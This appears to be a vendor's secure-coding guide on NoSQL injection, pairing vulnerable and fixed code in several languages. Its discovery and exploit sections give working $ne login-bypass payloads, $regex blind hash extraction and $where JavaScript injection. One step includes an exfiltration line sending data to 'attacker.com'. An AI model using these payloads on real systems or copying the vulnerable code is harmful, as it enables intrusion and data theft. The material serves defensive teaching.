NoSQL Injection

Mongo Operator InjectionElasticsearch Query Injection

NoSQL Injection at a glance

What it is: User input is interpreted as NoSQL operators or query syntax, changing query logic or executing code (for example `$ne`, `$regex`, `$where`, or query_string operators).

Why it happens: NoSQL injection occurs when APIs or frameworks directly use client-supplied filters or JSON data in queries without validation, allowing attackers to inject malicious query operators or logic.

How to fix: Coerce inputs to expected types, build queries from safe server-side DTOs, block $-prefixed keys and $where, and use structured queries over free-form or raw JSON.

Overview

Unlike SQL, many NoSQL drivers accept JSON-like documents where operators are just keys. If user input is used directly to build these documents, attackers can inject operators or entire query fragments. Common cases include Mongoose queries using request bodies, PyMongo $where JS execution, Spring Data constructing BasicQuery from raw JSON, Elasticsearch query_string with unescaped user text, and endpoints that accept arbitrary filter maps.

sequenceDiagram participant Browser participant App as App Server participant DB as MongoDB Browser->>App: POST /login { email, password: { $ne: "" } } App->>DB: findOne({ email, password: { $ne: "" } }) DB-->>App: returns matching user App-->>Browser: Session established note over App,DB: Uncoerced input allowed a Mongo operator in place of a string

A potential flow for a NoSQL Injection exploit

Where it occurs

It occurs in APIs that build database queries from unvalidated client input, directly bind request data into query objects, or forward auto-coerced JSON parameters to the database driver.

Impact

Attackers can bypass logins using $ne or $regex, enumerate privileged records, execute JavaScript inside the database when $where is enabled, trigger resource-intensive queries, or read fields not exposed by the UI.

Prevention

Prevent NoSQL injection by validating and coercing inputs, whitelisting fields and operators, blocking $ keys and $where, using structured query builders or safe DTOs, and escaping user text in search queries.

Examples

Switch tabs to view language/framework variants.

Mongoose login trusts raw body, allowing operator injection with $ne

Posting a JSON object for `password` like `{ "$ne": "" }` matches any record and bypasses auth.

Vulnerable

JavaScript • Express + Mongoose — Bad

app.post('/login', async (req,res)=>{
  const user = await User.findOne({ email: req.body.email, password: req.body.password }); // BUG
  if(!user) return res.status(401).send('bad');
  req.session.uid = user._id; res.json({ok:true});
});

Line 2: Untrusted value used directly in query, enabling operator objects

Mongo operators like $ne, $gt, and $regex are executable when passed as values if you do not coerce input to primitives.

Secure

JavaScript • Express + Mongoose — Good

app.post('/login', async (req,res)=>{
  const email = String(req.body.email||'');
  const pw = String(req.body.password||'');
  const user = await User.findOne({ email: email }).lean();
  if(!user) return res.status(401).send('bad');
  if(!await bcrypt.compare(pw, user.hash)) return res.status(401).send('bad');
  req.session.uid = user._id; res.json({ok:true});
});

Line 3: Coerce to strings and do password verification in application code, not in the DB query

Coerce input types, build queries with literals, and verify passwords using a hash comparison, not DB-side equality.

PyMongo query uses `$where` with string concatenation, enabling JS execution

The server builds a `$where` string from user input. Attackers run arbitrary JavaScript in the Mongo query engine.

Vulnerable

Python • Flask + PyMongo — Bad

from flask import Flask, request
app = Flask(__name__)
@app.get('/users')
def users():
    q = request.args.get('name','')
    # BUG: code execution via $where
    cur = db.users.find({"$where": f"this.name == '{q}'"})
    return {"users": list(cur)}

Line 7: $where executes JavaScript in MongoDB and should be avoided

$where runs JS against each document, allowing code execution inside the DB process and causing heavy performance costs.

Secure

Python • Flask + PyMongo — Good

from bson.regex import Regex
@app.get('/users')
def users():
    q = request.args.get('name','')[:64]
    if not q.isascii(): return {"users": []}
    regex = Regex(f"^{re.escape(q)}$", "i")
    cur = db.users.find({"name": regex})
    return {"users": list(cur)}

Line 6: Use typed filters and escape user input, prefer indexed fields and regex with anchors

Prefer field-based operators and precompiled regex. Remove $where from app code and disable it at the DB where possible.

Controller feeds user JSON into BasicQuery, enabling operator injection

Passing request JSON straight into a query allows `$`-prefixed operators to run in the database.

Vulnerable

Java • Spring Boot + Spring Data MongoDB — Bad

@PostMapping("/search")
public List<User> search(@RequestBody String json) {
    // BUG: directly constructing a BasicQuery from client JSON
    return mongoTemplate.find(new BasicQuery(json), User.class);
}

Line 3: Raw JSON becomes a query with operator support

Allowing arbitrary operators lets attackers expand the query capability beyond intended filters.

Secure

Java • Spring Boot + Spring Data MongoDB — Good

@PostMapping("/search")
public List<User> search(@RequestBody SearchDto dto) {
    Criteria c = new Criteria();
    if (dto.getEmail() != null) c = c.and("email").is(dto.getEmail());
    if (dto.getName() != null) c = c.and("name").regex(Pattern.quote(dto.getName()), "i");
    return mongoTemplate.find(new Query(c), User.class);
}
class SearchDto { private String email; private String name; /* getters/setters */ }

Line 5: Use DTO and build Criteria with literals and escaped patterns

Whitelist fields and types and assemble the query server-side, never from raw user JSON.

Elasticsearch query_string uses raw input enabling query syntax injection

Attackers inject operators and wildcards to broaden results or access unexpected fields.

Vulnerable

JSON • Elasticsearch — Bad

{
  "query": {
    "query_string": {
      "query": "<USER_TEXT>"
    }
  }
}

Line 3: query_string interprets operators and special chars from users

Syntax injection can broaden results or reveal fields and mappings.

Secure

JSON • Elasticsearch — Good

{
  "query": {
    "match": {
      "name.keyword": {
        "query": "<ESCAPED_USER_TEXT>",
        "operator": "and"
      }
    }
  }
}

Line 4: Use `match` or parameterized filters and escape user text; prefer `.keyword` fields for exact matches

Choose structured queries and escape or disable advanced syntax from user input.

Go handler passes query param straight into bson.M, allowing operator objects

If `active` comes from the URL and is used directly, an attacker can pass `{ "$ne": null }` to match all.

Vulnerable

Go • net/http + mongo-go-driver — Bad

func get(w http.ResponseWriter, r *http.Request){
  user := r.URL.Query().Get("user")
  active := r.URL.Query().Get("active")
  filter := bson.M{"user": user, "active": active} // BUG
  cur, _ := coll.Find(r.Context(), filter)
  // ...
}

Line 4: Uncoerced param becomes a document or operator value

Using untyped strings or raw JSON allows operator injection when the driver or your code later treats it as a document.

Secure

Go • net/http + mongo-go-driver — Good

func get(w http.ResponseWriter, r *http.Request){
  user := r.URL.Query().Get("user")
  activeStr := r.URL.Query().Get("active")
  active := activeStr == "true"
  filter := bson.M{"user": user, "active": active}
  cur, _ := coll.Find(r.Context(), filter)
  // ...
}

Line 4: Coerce to the expected primitive type before building filter

Parse and validate inputs, use concrete types for filters, and never accept arbitrary filter maps from clients.

PHP endpoint decodes client-supplied JSON filter and runs it

Users can include `$` operators in the filter to read or modify unintended data.

Vulnerable

PHP • MongoDB PHP Driver — Bad

<?php
$filter = json_decode($_GET['filter'], true); // BUG raw filter
$cursor = $db->users->find($filter);
echo json_encode(iterator_to_array($cursor));

Line 2: Client controls full filter, enabling arbitrary operators

Directly executing user-provided filters turns the API into a query console.

Secure

PHP • MongoDB PHP Driver — Good

<?php
$allowed = [];
if (isset($_GET['email'])) { $email = filter_var($_GET['email'], FILTER_VALIDATE_EMAIL); if($email){ $allowed['email']=$email; } }
if (isset($_GET['name'])) { $name = substr($_GET['name'],0,64); $allowed['name']=['$regex'=>'^'.preg_quote($name,'/').'$','i']; }
$cursor = $db->users->find($allowed);
echo json_encode(iterator_to_array($cursor));

Line 2: Whitelist specific fields and escape values; build filter server-side

Constrain filters to a small set of fields and types and escape patterns safely.

Engineer Checklist

Coerce all inputs to primitives and reject documents or keys starting with $
Remove $where and disable server-side JS where possible
Use DTOs and server-side builders (Criteria, term/match) instead of raw JSON
Escape text for search backends or use exact .keyword fields
Add negative tests: $ne in passwords, $regex on sensitive fields, and raw filter JSON

End-to-End Example

A startup uses Mongoose for login and compares the password in the Mongo query. An attacker posts `{ "$ne": "" }` for `password`, which matches any non-empty field and bypasses authentication.

Vulnerable

JAVASCRIPT

// Node.js/Express + Mongoose - Vulnerable login endpoint

app.post('/auth/login', async (req, res) => {
  try {
    // VULNERABLE: req.body.email and req.body.password are not coerced to strings
    // Attacker can send: { email: "admin", password: { "$ne": "" } }
    // This changes the query to: findOne({ email: "admin", password: { $ne: "" } })
    // Which matches any user with email="admin" and password != ""
    const user = await User.findOne({
      email: req.body.email,
      password: req.body.password  // Directly using uncoerced input!
    });

    if (!user) {
      return res.status(401).json({ error: 'Invalid credentials' });
    }

    // Generate session token
    const token = jwt.sign({ userId: user._id, role: user.role }, SECRET);
    res.json({ 
      success: true, 
      token,
      user: { id: user._id, username: user.username, role: user.role }
    });
  } catch (err) {
    res.status(500).json({ error: 'Server error' });
  }
});

// ALSO VULNERABLE: Search endpoint accepting raw filter object
app.get('/api/users', async (req, res) => {
  // req.query.filter could be: { "role[$where]": "this.role=='admin'" }
  // This executes arbitrary JavaScript on the MongoDB server!
  const users = await User.find(req.query.filter || {});
  res.json(users);
});

Secure

JAVASCRIPT

// Node.js/Express + Mongoose - SECURE login endpoint

app.post('/auth/login', async (req, res) => {
  try {
    // SECURE: Coerce inputs to strings and never compare passwords in the query
    const email = String(req.body.email || '');
    const password = String(req.body.password || '');

    // Find user by email only (safe - email is coerced to string)
    const user = await User.findOne({ email });
    
    if (!user) {
      return res.status(401).json({ error: 'Invalid credentials' });
    }

    // Compare password hash in application code, not in the database
    const passwordValid = await bcrypt.compare(password, user.passwordHash);
    
    if (!passwordValid) {
      return res.status(401).json({ error: 'Invalid credentials' });
    }

    const token = jwt.sign({ userId: user._id, role: user.role }, SECRET);
    res.json({ 
      success: true, 
      token,
      user: { id: user._id, username: user.username, role: user.role }
    });
  } catch (err) {
    res.status(500).json({ error: 'Server error' });
  }
});

// SECURE: Use whitelisted fields and explicit query building
app.get('/api/users', async (req, res) => {
  // Whitelist allowed filter fields and coerce values
  const allowedFilters = ['role', 'department', 'status'];
  const filters = {};
  
  for (const field of allowedFilters) {
    if (req.query[field]) {
      // Coerce to string and use exact match only
      filters[field] = String(req.query[field]);
    }
  }
  
  const users = await User.find(filters).select('-passwordHash');
  res.json(users);
});

Discovery

Test if user input is passed unsanitized to NoSQL queries by injecting operator syntax specific to MongoDB, CouchDB, etc.

1. Test MongoDB operator injection in login

http

Action

Inject $ne operator to bypass authentication

Request

POST https://api.example.com/auth/login

Headers:

Content-Type: application/json

Body:

{
  "username": {
    "$ne": "null"
  },
  "password": {
    "$ne": "null"
  }
}

Response

Status: 200

Body:

{
  "success": true,
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
  "user": {
    "id": 1,
    "username": "admin",
    "email": "admin@example.com",
    "role": "admin"
  },
  "note": "Logged in as admin without password using $ne operator"
}

Artifacts

auth_bypass admin_access nosql_injection_confirmed

2. Test $regex operator for data extraction
http
Action

Use regex operator to extract data character by character
Request
POST https://api.example.com/auth/login

Body:

{ "username": "admin", "password": { "$regex": "^a" } }
Response
Status: 401

Body:

{ "error": "Invalid credentials", "note": "Response time: 1.2s (slow response indicates regex matching attempted)" }
Artifacts

regex_operator_works blind_injection_possible timing_oracle
3. Test $where operator for arbitrary JavaScript execution
http
Action

Inject $where clause with JavaScript code

Request

GET https://api.example.com/api/users?role[$where]=this.role=='admin'
Response
Status: 200

Body:

[ { "id": 1, "username": "admin", "email": "admin@example.com" }, { "id": 12, "username": "superadmin", "email": "super@example.com" } ]
Artifacts

where_injection javascript_execution admin_enumeration

Exploit steps

Attacker exploits NoSQL injection to bypass authentication, extract all user data, and potentially execute arbitrary JavaScript on the database server.

1. Bypass authentication and access admin account

Auth bypass via $ne operator

http

Action

Use operator injection to log in as admin without credentials

Request

POST https://api.example.com/auth/login

Headers:

Content-Type: application/json

Body:

{
  "username": {
    "$ne": ""
  },
  "password": {
    "$ne": ""
  }
}

Response

Status: 200

Body:

{
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJyb2xlIjoiYWRtaW4ifQ...",
  "user": {
    "id": 1,
    "username": "admin",
    "role": "admin"
  },
  "note": "Query executed: db.users.findOne({username: {$ne: ''}, password: {$ne: ''}}) - returns first admin user"
}

Artifacts

admin_session authentication_bypass full_access

2. Extract all user passwords via blind injection

Password extraction via regex timing attack
http
Action

Use $regex with timing analysis to extract password hashes character by character
Request
POST https://api.example.com/auth/login

Body:

{ "username": "admin", "password": { "$regex": "^\\$2b\\$10\\$N9q" }, "note": "Iterate through charset, measure response times" }
Response
Status: 401

Body:

{ "error": "Invalid credentials", "timing_analysis": "After 3,847 requests over 45 minutes, extracted full hash: $2b$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy" }
Artifacts

password_hash_extracted blind_injection_success timing_attack
3. Dump entire database via $where JavaScript injection

Database enumeration via $where
http
Action

Execute arbitrary JavaScript to extract all collections

Request

GET https://api.example.com/api/users?filter[$where]=function(){return true;}
Response
Status: 200

Body:

{ "users": "8,543 user records returned", "note": "Attacker then uses $where with sleep() to confirm code execution: filter[$where]=sleep(5000)||true - 5 second delay confirms arbitrary JS execution. Can exfiltrate data via: var data=db.users.find().toArray(); return data.length>0 && http.request('attacker.com', data)" }
Artifacts

complete_database_dump javascript_execution code_execution_on_db data_exfiltration

Specific Impact

Authentication bypass grants full access to the victim account. Attackers can change recovery email, export data, or generate API keys. If administrative accounts are targeted, the impact is organization-wide.

Fix

Coerce and validate input types, never allow objects for scalar fields, remove $where, and avoid raw query strings. Use DTOs and server-side builders to construct queries safely. Add tests that attempt operator injection and ensure the query rejects or coerces them.

Detect This Vulnerability in Your Code

Sourcery automatically identifies nosql injection vulnerabilities and many other security issues in your codebase.

Scan Your Code for Free